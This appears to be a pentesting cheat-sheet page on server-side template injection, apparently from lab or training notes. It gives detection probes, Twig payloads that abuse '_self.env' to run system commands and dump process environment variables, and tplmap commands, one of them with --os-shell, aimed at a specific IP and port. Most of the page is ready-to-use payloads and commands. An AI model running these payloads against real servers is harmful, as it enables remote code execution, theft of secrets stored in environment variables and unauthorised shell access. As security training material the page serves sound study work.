# Server Side Template Injection (SSTI)

## SSTI Identification

```
{7*7}
${7*7}
#{7*7}
%{7*7}
{{7*7}}
```

## TWIG SSTI

Twig has a variable `_self`, which, in simple terms, makes a few of the internal APIs public. This `_self` object has been documented, so we don't need to brute force any variable names,&#x20;

we can use the `getFilter` function as it allows execution of a user-defined function via the following process:

* Register a function as a filter callback via `registerUndefinedFilterCallback`
* Invoke `_self.env.getFilter()` to execute the function we have just registered

```php
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
```

<figure><img src="https://3420091786-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fy1ZUO45eHY8aMCLJ7OiN%2Fuploads%2FEnIZT1IXPKSFHNyClkRW%2Fimage.png?alt=media&#x26;token=8534f5d9-2c2e-4f43-8604-b4d5318074f5" alt=""><figcaption></figcaption></figure>

to get the environment variables we can use

```shell
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("echo -e `cat /proc/self/environ`")}}
```

## Automating SSTI using tqlmap

we can use **TQLMAP** from the below link

{% embed url="<https://github.com/epinna/tplmap>" %}

```python
python tplmap.py -u 'http://83.136.251.226:56235/jointheteam' -d email=test --proxy=http://127.0.0.1:8080
```

<figure><img src="https://3420091786-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fy1ZUO45eHY8aMCLJ7OiN%2Fuploads%2FH0zDGBQjMKpl7mCGBd7Q%2Fimage.png?alt=media&#x26;token=94298be0-5c9b-4794-8bc4-cfd15dd4d99d" alt=""><figcaption></figcaption></figure>

## OS-Shell Using TPLMAP

```python
python tplmap.py -u 'http://83.136.251.226:56235/jointheteam' -d email=test --proxy=http://127.0.0.1:8080 --os-shell
```

<figure><img src="https://3420091786-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fy1ZUO45eHY8aMCLJ7OiN%2Fuploads%2FRWxfWlSaYLuv27XKpEeY%2Fimage.png?alt=media&#x26;token=309c33f2-bc82-43bd-9feb-75c8a66e9b02" alt=""><figcaption></figcaption></figure>
